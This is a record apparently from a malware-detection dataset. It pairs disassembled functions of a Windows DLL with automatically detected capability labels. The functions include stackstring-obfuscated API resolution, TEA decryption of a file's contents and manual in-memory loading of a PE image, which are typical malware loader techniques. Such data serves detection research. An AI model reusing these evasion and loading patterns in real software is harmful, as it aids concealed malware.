joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10010204
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
mov eax, dword [0x1008b2d0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
lea eax, [ebp - 0x34]
push eax
mov dword [ebp - 0x34], 0x6e72656b
mov dword [ebp - 0x30], 0x32336c65
mov dword [ebp - 0x2c], 0x6c6c642e
mov word [ebp - 0x28], 0
mov dword [ebp - 0x44], 0x50746547
mov dword [ebp - 0x40], 0x41636f72
mov dword [ebp - 0x3c], 0x65726464
mov dword [ebp - 0x38], 0x7373
mov dword [ebp - 0x24], 0x64616f4c
mov dword [ebp - 0x20], 0x7262694c
mov dword [ebp - 0x1c], 0x57797261
mov word [ebp - 0x18], 0
mov dword [ebp - 0x14], 0x64616f4c
mov dword [ebp - 0x10], 0x7262694c
mov dword [ebp - 0xc], 0x41797261
mov word [ebp - 8], 0
mov dword [ebp - 0x58], 0x4d746547
mov dword [ebp - 0x54], 0x6c75646f
mov dword [ebp - 0x50], 0x6e614865
mov dword [ebp - 0x4c], 0x57656c64
mov word [ebp - 0x48], 0
mov dword [ebp - 0x6c], 0x4d746547
mov dword [ebp - 0x68], 0x6c75646f
mov dword [ebp - 0x64], 0x6e614865
mov dword [ebp - 0x60], 0x41656c64
mov word [ebp - 0x5c], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, eax
lea eax, [ebp - 0x44]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x1008fc98], eax
mov edi, eax
lea eax, [ebp - 0x24]
push eax
push esi
call edi
mov dword [0x1008fc88], eax
lea eax, [ebp - 0x14]
push eax
push esi
call edi
mov dword [0x1008fc8c], eax
lea eax, [ebp - 0x58]
push eax
push esi
call edi
mov dword [0x1008fc90], eax
lea eax, [ebp - 0x6c]
push eax
push esi
call edi
mov ecx, dword [ebp - 4]
mov dword [0x1008fc94], eax
xor eax, eax
pop edi
xor ecx, ebp
inc eax
pop esi
call fcn.1004c01d
leave
ret
Function at 0x10010326
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x1008b2d0]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [0x1008fc94]
push ebx
add edx, 0xfffff000
xor ebx, ebx
xor eax, eax
push esi
mov esi, dword [0x1008fc8c]
cmp edx, 7
ja case.default.0x10010357
jmp dword [edx*4 + 0x10010466]
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 0x14], 0x4e52454b
mov dword [ebp - 0x10], 0x32334c45
mov dword [ebp - 0xc], 0x4c4c442e
mov word [ebp - 8], bx
call ecx
jmp case.default.0x10010357
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 0x14], 0x52455355
mov dword [ebp - 0x10], 0x442e3233
mov dword [ebp - 0xc], 0x4c4c
call ecx
cmp eax, ebx
jne case.default.0x10010357
lea eax, [ebp - 0x14]
jmp 0x10010454
mov dword [ebp - 0x14], 0x4c454853
mov dword [ebp - 0x10], 0x2e32334c
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 0xc], 0x4c4c44
mov byte [ebp - 8], bl
call ecx
cmp eax, ebx
jne case.default.0x10010357
lea eax, [ebp - 0x14]
jmp 0x10010454
mov dword [ebp - 0x14], 0x41564441
mov dword [ebp - 0x10], 0x32334950
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 0xc], 0x4c4c442e
mov word [ebp - 8], bx
call ecx
cmp eax, ebx
jne case.default.0x10010357
lea eax, [ebp - 0x14]
jmp 0x10010454
mov dword [ebp - 0x14], 0x574c4853
mov dword [ebp - 0x10], 0x2e495041
jmp 0x100103bb
mov dword [ebp - 0x14], 0x41454c4f
mov dword [ebp - 0x10], 0x32335455
jmp 0x100103e6
mov dword [ebp - 0x14], 0x33454c4f
mov dword [ebp - 0x10], 0x4c442e32
jmp 0x1001043e
mov dword [ebp - 0x14], 0x4c44544e
mov dword [ebp - 0x10], 0x4c442e4c
lea eax, [ebp - 0x14]
push eax
mov word [ebp - 0xc], 0x4c
mov byte [ebp - 0xa], bl
call ecx
cmp eax, ebx
jne case.default.0x10010357
lea eax, [ebp - 0x14]
push eax
call esi
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.1004c01d
leave
ret

Function at 0x100104a2
Capabilities:
Decrypt data using tea
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov edx, dword [esi]
mov ecx, dword [esi + 4]
push edi
mov edi, dword [eax]
mov dword [ebp - 0x18], edi
mov edi, dword [eax + 4]
mov dword [ebp - 0x14], edi
mov edi, dword [eax + 8]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], 0xc6ef3720
mov dword [ebp - 0x10], edi
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0x20
mov eax, edx
shr eax, 5
add eax, dword [ebp - 0xc]
mov edi, edx
shl edi, 4
add edi, dword [ebp - 0x10]
xor eax, edi
mov edi, dword [ebp - 4]
add edi, edx
xor eax, edi
sub ecx, eax
mov eax, ecx
shr eax, 5
add eax, dword [ebp - 0x14]
mov edi, ecx
shl edi, 4
add edi, dword [ebp - 0x18]
xor eax, edi
mov edi, dword [ebp - 4]
add dword [ebp - 4], 0x61c88647
add edi, ecx
xor eax, edi
sub edx, eax
dec dword [ebp - 8]
jne 0x100104d3
mov dword [esi], edx
mov dword [esi + 4], ecx
pop edi
leave
ret
Function at 0x10010523
Capabilities:
Encode data using xor

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
cmp eax, 0x1001
jne 0x1001053d
call fcn.10010197
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp byte [0x1008fc84], 0
jne 0x10010561
mov byte [0x1008fc84], 1
xor eax, eax
xor word [eax + str.T_KGexpevzSvcvKycr], 0x17
add eax, 2
cmp eax, 0xbb8
jb 0x1001054f
call fcn.10010204
jmp fcn.10010afe

Function at 0x1001056b
Capabilities:
Contain obfuscated stackstrings
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov eax, dword [0x1008b2d0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
lea eax, [ebp - 0x14]
push edi
xor ebx, ebx
mov esi, 0x1001
push eax
mov edx, esi
mov dword [ebp - 0x14], 0x4d746547
mov dword [ebp - 0x10], 0x61737365
mov dword [ebp - 0xc], 0x576567
mov byte [ebp - 8], bl
call fcn.10010486
pop ecx
mov edi, eax
jmp 0x1001061c
cmp eax, 0xffffffff
je 0x1001061c
lea eax, [ebp - 0x28]
push eax
mov edx, esi
mov dword [ebp - 0x28], 0x6e617254
mov dword [ebp - 0x24], 0x74616c73
mov dword [ebp - 0x20], 0x73654d65
mov dword [ebp - 0x1c], 0x65676173
mov word [ebp - 0x18], bx
call fcn.10010486
pop ecx
lea ecx, [ebp - 0x58]
push ecx
call eax
lea eax, [ebp - 0x3c]
push eax
mov edx, esi
mov dword [ebp - 0x3c], 0x70736944
mov dword [ebp - 0x38], 0x68637461
mov dword [ebp - 0x34], 0x7373654d
mov dword [ebp - 0x30], 0x57656761
mov word [ebp - 0x2c], bx
call fcn.10010486
pop ecx
lea ecx, [ebp - 0x58]
push ecx
call eax
cmp dword [ebp - 0x54], 0x11
je 0x1001063a
push ebx
push ebx
push ebx
lea eax, [ebp - 0x58]
push eax
call edi
cmp eax, ebx
jne 0x100105ad
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.1004c01d
leave
ret
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x10010642
Capabilities:
Contain obfuscated stackstrings
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov eax, dword [0x1008b2d0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
call fcn.10010523
lea eax, [ebp - 0x14]
xor ebx, ebx
mov esi, 0x1001
push eax
mov edx, esi
mov dword [ebp - 0x14], 0x4d746547
mov dword [ebp - 0x10], 0x61737365
mov dword [ebp - 0xc], 0x576567
mov byte [ebp - 8], bl
call fcn.10010486
pop ecx
mov edi, eax
jmp 0x100106f8
cmp eax, 0xffffffff
je 0x100106f8
lea eax, [ebp - 0x28]
push eax
mov edx, esi
mov dword [ebp - 0x28], 0x6e617254
mov dword [ebp - 0x24], 0x74616c73
mov dword [ebp - 0x20], 0x73654d65
mov dword [ebp - 0x1c], 0x65676173
mov word [ebp - 0x18], bx
call fcn.10010486
pop ecx
lea ecx, [ebp - 0x58]
push ecx
call eax
lea eax, [ebp - 0x3c]
push eax
mov edx, esi
mov dword [ebp - 0x3c], 0x70736944
mov dword [ebp - 0x38], 0x68637461
mov dword [ebp - 0x34], 0x7373654d
mov dword [ebp - 0x30], 0x57656761
mov word [ebp - 0x2c], bx
call fcn.10010486
pop ecx
lea ecx, [ebp - 0x58]
push ecx
call eax
cmp dword [ebp - 0x54], 0x11
je 0x10010716
push ebx
push ebx
push ebx
lea eax, [ebp - 0x58]
push eax
call edi
cmp eax, ebx
jne 0x10010689
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.1004c01d
leave
ret
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x1001071e
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
mov eax, dword [0x1008b2d0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
xor eax, eax
push 0x206
xor ebx, ebx
mov word [ebp - 0x234], ax
lea eax, [ebp - 0x232]
push ebx
push eax
xor esi, esi
call fcn.1004f030
lea eax, [ebp - 0x2c]
push eax
mov edx, 0x1000
mov dword [ebp - 0x2c], 0x4d746547
mov dword [ebp - 0x28], 0x6c75646f
mov dword [ebp - 0x24], 0x6c694665
mov dword [ebp - 0x20], 0x6d614e65
mov dword [ebp - 0x1c], 0x5765
call fcn.10010486
add esp, 0x10
push 0x104
lea ecx, [ebp - 0x234]
push ecx
push ebx
call eax
lea eax, [ebp - 0x18]
push eax
mov edx, 0x1004
mov dword [ebp - 0x18], 0x68746150
mov dword [ebp - 0x14], 0x656c6946
mov dword [ebp - 0x10], 0x73697845
mov dword [ebp - 0xc], 0x577374
mov byte [ebp - 8], bl
call fcn.10010486
pop ecx
lea ecx, [ebp - 0x234]
push ecx
call eax
test eax, eax
je 0x100107d1
inc esi
mov ecx, dword [ebp - 4]
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.1004c01d
leave
ret

Function at 0x1001082e
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
xor edi, edi
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push dword [ebp + 8]
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x1001085d
xor eax, eax
jmp 0x1001087a
push edi
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
leave
ret 0xc
Function at 0x10010880
Capabilities:
Check if file exists
Get common file path
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x424
mov eax, dword [0x1008b2d0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov esi, 0x208
push esi
mov dword [ebp - 0x41c], eax
call fcn.1004dfb5
push esi
mov dword [ebp - 0x418], eax
call fcn.1004dfb5
push esi
mov dword [ebp - 0x420], eax
call fcn.1004dfb5
mov dword [ebp - 0x424], eax
xor eax, eax
lea edi, [esi - 2]
push edi
push eax
mov word [ebp - 0x414], ax
lea eax, [ebp - 0x412]
push eax
call fcn.1004f030
xor eax, eax
push edi
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call fcn.1004f030
mov edi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
add esp, 0x24
mov ebx, 0x104
push ebx
lea eax, [ebp - 0x414]
push eax
push str.T_KGexpevzSvcvKSratrDrc
call edi
push ebx
lea eax, [ebp - 0x20c]
push eax
push str.2_XTV_VGGSVCV2KSratrDrc
call edi
push esi
xor edi, edi
push edi
push dword [ebp - 0x418]
call fcn.1004f030
push esi
push edi
push dword [ebp - 0x420]
call fcn.1004f030
mov ebx, dword [ebp - 0x424]
push esi
push edi
push ebx
call fcn.1004f030
mov ecx, dword [ebp - 0x418]
add esp, 0x24
lea edx, [ebp - 0x414]
call fcn.100107f1
mov edx, dword [ebp - 0x418]
mov ecx, ebx
call fcn.100107f1
mov esi, dword [sym.imp.SHLWAPI.dll_PathAppendW]
push str.txerdxbetrd9svc
push ebx
call esi
mov edi, dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
push ebx
call edi
cmp eax, 1
jne 0x100109af
mov edx, dword [ebp - 0x418]
mov ecx, dword [ebp - 0x41c]
call fcn.100107f1
push str.sratrtxsyp9svc
push dword [ebp - 0x41c]
call esi
xor eax, eax
inc eax
jmp 0x10010a11
push dword [ebp - 0x418]
xor eax, eax
push eax
push eax
push 0x1c
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov ecx, dword [ebp - 0x418]
lea edx, [ebp - 0x20c]
call fcn.100107f1
mov edx, dword [ebp - 0x418]
mov ecx, ebx
call fcn.100107f1
push str.sratrtxyqp9svc
push ebx
call esi
push ebx
call edi
cmp eax, 1
je 0x1001098c
push dword [ebp - 0x418]
call fcn.1004dca6
push dword [ebp - 0x420]
call fcn.1004dca6
push ebx
call fcn.1004dca6
add esp, 0xc
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1004c01d
leave
ret 4
Function at 0x10010a22
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push dword [ebp + 8]
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x10010a75
lea eax, [ebp - 8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov esi, dword [ebp - 8]
mov eax, dword [ebp - 4]
push edi
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, ebx
ja 0x10010a79
xor eax, eax
jmp 0x10010af7
push esi
call fcn.1004dfb5
pop ecx
mov ebx, eax
push esi
push ebx
push dword [ebp + 8]
mov dword [ebp - 4], ebx
call fcn.1001082e
push 0xe
mov esi, ebx
pop ecx
lea edi, [ebp - 0x48]
rep movsd dword es:[edi], dword [esi]
mov edi, dword [ebp - 0x10]
add edi, 0xffffffc8
shr edi, 3
add ebx, 0x38
test edi, edi
je 0x10010abe
mov esi, ebx
mov dword [ebp + 8], edi
lea eax, [ebp - 0x47]
call fcn.100104a2
add esi, 8
dec dword [ebp + 8]
jne 0x10010aae
mov edi, dword [ebx + edi*8 - 4]
mov eax, dword [ebp + 0x10]
push edi
mov dword [eax], edi
call fcn.1004dfb5
mov esi, eax
mov eax, dword [ebp + 0xc]
mov dword [eax], esi
mov eax, dword [ebp + 0x10]
push dword [eax]
push 0
push esi
call fcn.1004f030
push edi
push ebx
push esi
call fcn.1004e5c0
push dword [ebp - 4]
call fcn.1004dca6
xor eax, eax
add esp, 0x20
inc eax
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x10010f29
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x10010f3f
xor eax, eax
leave
ret
push ebx
mov ebx, dword [eax + 0x3c]
add ebx, eax
cmp dword [ebx], 0x4550
je 0x10010f54
xor eax, eax
jmp 0x10011043
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 4
mov edi, 0x2000
push edi
push dword [ebx + 0x50]
push dword [ebx + 0x34]
call esi
mov dword [ebp - 4], eax
test eax, eax
jne 0x10010f87
push 4
push edi
push dword [ebx + 0x50]
push eax
call esi
mov dword [ebp - 4], eax
test eax, eax
je 0x10011038
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
mov eax, dword [ebp - 4]
push 4
xor ecx, ecx
push 0x1000
mov dword [edi + 4], eax
mov dword [edi + 0xc], ecx
mov dword [edi + 8], ecx
mov dword [edi + 0x10], ecx
push dword [ebx + 0x50]
push eax
call esi
push 4
push 0x1000
push dword [ebx + 0x54]
push dword [ebp - 4]
call esi
mov ecx, dword [ebx + 0x54]
mov esi, dword [ebp + 8]
add ecx, dword [esi + 0x3c]
mov dword [ebp - 8], eax
push ecx
push esi
push eax
call fcn.1004e5c0
mov eax, dword [esi + 0x3c]
add eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
push edi
push ebx
mov dword [edi], eax
push esi
mov dword [eax + 0x34], ecx
call fcn.10010c33
mov esi, dword [ebp - 4]
mov eax, esi
add esp, 0x18
sub eax, dword [ebx + 0x34]
je 0x10011007
push eax
mov eax, edi
call fcn.10010d94
pop ecx
call fcn.10010e0f
test eax, eax
je 0x10011031
push edi
call fcn.10010cd7
mov eax, dword [edi]
mov eax, dword [eax + 0x28]
pop ecx
test eax, eax
je 0x1001103f
add eax, esi
je 0x10011031
push 0
xor ebx, ebx
inc ebx
push ebx
push esi
call eax
test eax, eax
jne 0x1001103c
mov esi, edi
call fcn.10011046
xor eax, eax
jmp 0x10011041
mov dword [edi + 0x10], ebx
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100257e0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x1006a398
mov eax, dword fs:[0]
push eax
sub esp, 8
push esi
push edi
mov eax, dword [0x1008b2d0]
xor eax, esp
push eax
lea eax, [esp + 0x14]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 0xc], esi
xor edi, edi
push 1
push edi
sub esp, 8
mov eax, esp
mov dword [esp + 0x20], esp
mov dword [eax], edi
push esi
mov dword [esp + 0x30], edi
mov dword [eax + 4], edi
call fcn.1004be40
mov esi, dword [esi + 4]
add esp, 0x14
mov dword [esp + 0x1c], 0xffffffff
cmp esi, edi
je 0x10025866
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
lea eax, [esi + 4]
push eax
call edi
test eax, eax
jne 0x10025866
mov edx, dword [esi]
mov eax, dword [edx + 4]
mov ecx, esi
call eax
lea ecx, [esi + 8]
push ecx
call edi
test eax, eax
jne 0x10025866
mov edx, dword [esi]
mov eax, dword [edx + 8]
mov ecx, esi
call eax
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0x14
ret
Function at 0x10026140
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x1006a51c
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push ebp
push esi
push edi
mov eax, dword [0x1008b2d0]
xor eax, esp
push eax
lea eax, [esp + 0x28]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 0x1c], esi
push esi
call dword [sym.imp.KERNEL32.dll_InitializeSRWLock]
xor ebx, ebx
mov dword [esi + 4], ebx
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
lea eax, [esp + 0x20]
push eax
mov dword [esp + 0x34], ebx
mov byte [esp + 0x1b], bl
call fcn.10025d10
mov ecx, dword [eax]
mov dword [esi + 0x14], ecx
mov dword [esi + 0x18], ebx
mov ecx, dword [eax + 4]
mov edx, ebx
mov dword [eax + 4], edx
mov dword [esi + 0x18], ecx
add esp, 4
mov dword [eax], ebx
mov eax, dword [esp + 0x24]
mov byte [esp + 0x30], 1
cmp eax, ebx
je 0x100261e4
mov ebp, dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov edi, eax
add eax, 4
push eax
call ebp
test eax, eax
jne 0x100261e4
mov eax, dword [edi]
mov edx, dword [eax + 4]
mov ecx, edi
call edx
lea eax, [edi + 8]
push eax
call ebp
test eax, eax
jne 0x100261e4
mov edx, dword [edi]
mov eax, dword [edx + 8]
mov ecx, edi
call eax
lea ecx, [esi + 0x1c]
call fcn.100321e0
mov byte [esp + 0x30], 2
lea ebp, [esi + 0x20]
mov byte [esp + 0x18], bl
call fcn.10025f70
mov ecx, dword [esp + 0x18]
mov edi, eax
push ecx
push edi
lea ecx, [ebp + 4]
mov dword [ebp], edi
call fcn.10025880
push edi
push edi
push ebp
call fcn.10001030
push 0x10
mov byte [esp + 0x40], 3
mov byte [esi + 0x28], 1
call fcn.1004dfb5
add esp, 0x10
cmp eax, ebx
je 0x10026245
mov dword [eax], method.std::codecvt_char__char__int_.virtual_4
mov dword [eax + 4], 0x100097e4
mov dword [eax + 8], 0x100097db
jmp 0x10026247
xor eax, eax
mov dword [esi + 0x2c], eax
mov dword [esi + 0x30], ebx
mov eax, esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret
Function at 0x10027a80
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push 0xffffffffffffffff
push 0x1006a85b
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x1008b2d0]
xor eax, esp
push eax
lea eax, [esp + 0x18]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 0x14], esi
lea ecx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__.0
call fcn.100121eb
push 4
mov dword [esp + 0x24], 0
call fcn.1004dfb5
mov edi, eax
add esp, 4
test edi, edi
je 0x10027b02
call fcn.10011ffd
mov dword [edi], eax
call fcn.10011e76
push 0
lea ecx, [esp + 0x14]
mov ebx, eax
call fcn.100121ac
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x10027af7
inc eax
mov dword [ebx + 4], eax
lea ecx, [esp + 0x10]
call fcn.100121d4
jmp 0x10027b04
xor edi, edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi + 0x38], edi
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov eax, esi
mov ecx, dword [esp + 0x18]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
add esp, 0x14
ret

Function at 0x1002b4e0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x1006e298
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x1008b2d0]
xor eax, esp
push eax
lea eax, [esp + 0x14]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 0x10], esi
mov edi, dword [esp + 0x24]
push edi
call fcn.1004c1d8
mov dword [esi], vtable.boost::system::system_error.0
mov eax, dword [edi + 0xc]
mov dword [esi + 0xc], eax
mov ecx, dword [edi + 0x10]
xor ebx, ebx
mov dword [esi + 0x10], ecx
push 0xffffffffffffffff
lea ecx, [esi + 0x14]
push ebx
add edi, 0x14
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], ebx
push edi
mov dword [esp + 0x28], ebx
mov byte [ecx], bl
call fcn.10004c12
mov dword [esi + 0x30], vtable.boost::exception.0
mov dword [esi + 0x34], ebx
mov dword [esi + 0x38], ebx
mov dword [esi + 0x3c], ebx
mov dword [esi + 0x40], 0xffffffff
mov dword [esi], vtable.boost::exception_detail::error_info_injector_class_boost::log::v2s_mt_nt6::system_error_.1.0
mov dword [esi + 0x30], vtable.boost::exception_detail::error_info_injector_class_boost::log::v2s_mt_nt6::system_error_.0
mov eax, esi
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
add esp, 0x10
ret 4
Function at 0x1002bab0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x1006ae90
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x1008b2d0]
xor eax, esp
push eax
lea eax, [esp + 0x10]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 0xc], esi
mov edi, dword [esp + 0x20]
push edi
call fcn.1004c1d8
mov dword [esi], vtable.boost::system::system_error.0
mov eax, dword [edi + 0xc]
mov dword [esi + 0xc], eax
mov ecx, dword [edi + 0x10]
mov dword [esi + 0x10], ecx
push 0xffffffffffffffff
lea ecx, [esi + 0x14]
push 0
lea edx, [edi + 0x14]
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push edx
mov dword [esp + 0x24], 0
mov byte [ecx], 0
call fcn.10004c12
mov dword [esi], vtable.boost::log::v2s_mt_nt6::system_error.0
mov dword [esi + 0x30], vtable.boost::exception.0
mov ecx, dword [edi + 0x34]
mov dword [esp + 0x18], 1
mov dword [esi + 0x34], ecx
test ecx, ecx
je 0x1002bb44
mov eax, dword [ecx]
mov edx, dword [eax + 0xc]
call edx
mov eax, dword [edi + 0x38]
mov dword [esi + 0x38], eax
mov ecx, dword [edi + 0x3c]
mov dword [esi + 0x3c], ecx
mov edx, dword [edi + 0x40]
mov dword [esi + 0x40], edx
mov dword [esi], vtable.boost::exception_detail::error_info_injector_class_boost::log::v2s_mt_nt6::system_error_.1.0
mov dword [esi + 0x30], vtable.boost::exception_detail::error_info_injector_class_boost::log::v2s_mt_nt6::system_error_.0
mov eax, esi
mov ecx, dword [esp + 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0x10
ret 4

Function at 0x10036450
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x1006bbc0
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x1008b2d0]
xor eax, esp
push eax
lea eax, [esp + 0x10]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 0xc], esi
mov edi, dword [esp + 0x20]
push edi
call fcn.1004c1d8
mov dword [esi], vtable.boost::system::system_error.0
mov eax, dword [edi + 0xc]
mov dword [esi + 0xc], eax
mov ecx, dword [edi + 0x10]
mov dword [esi + 0x10], ecx
push 0xffffffffffffffff
lea ecx, [esi + 0x14]
push 0
lea edx, [edi + 0x14]
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push edx
mov dword [esp + 0x24], 0
mov byte [ecx], 0
call fcn.10004c12
mov dword [esi], vtable.boost::filesystem::filesystem_error.0
mov eax, dword [edi + 0x30]
mov dword [esi + 0x30], eax
mov edi, dword [edi + 0x34]
mov dword [esp + 0x18], 1
mov dword [esi + 0x34], edi
test edi, edi
je 0x100364e6
add edi, 4
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
mov eax, esi
mov ecx, dword [esp + 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0x10
ret 4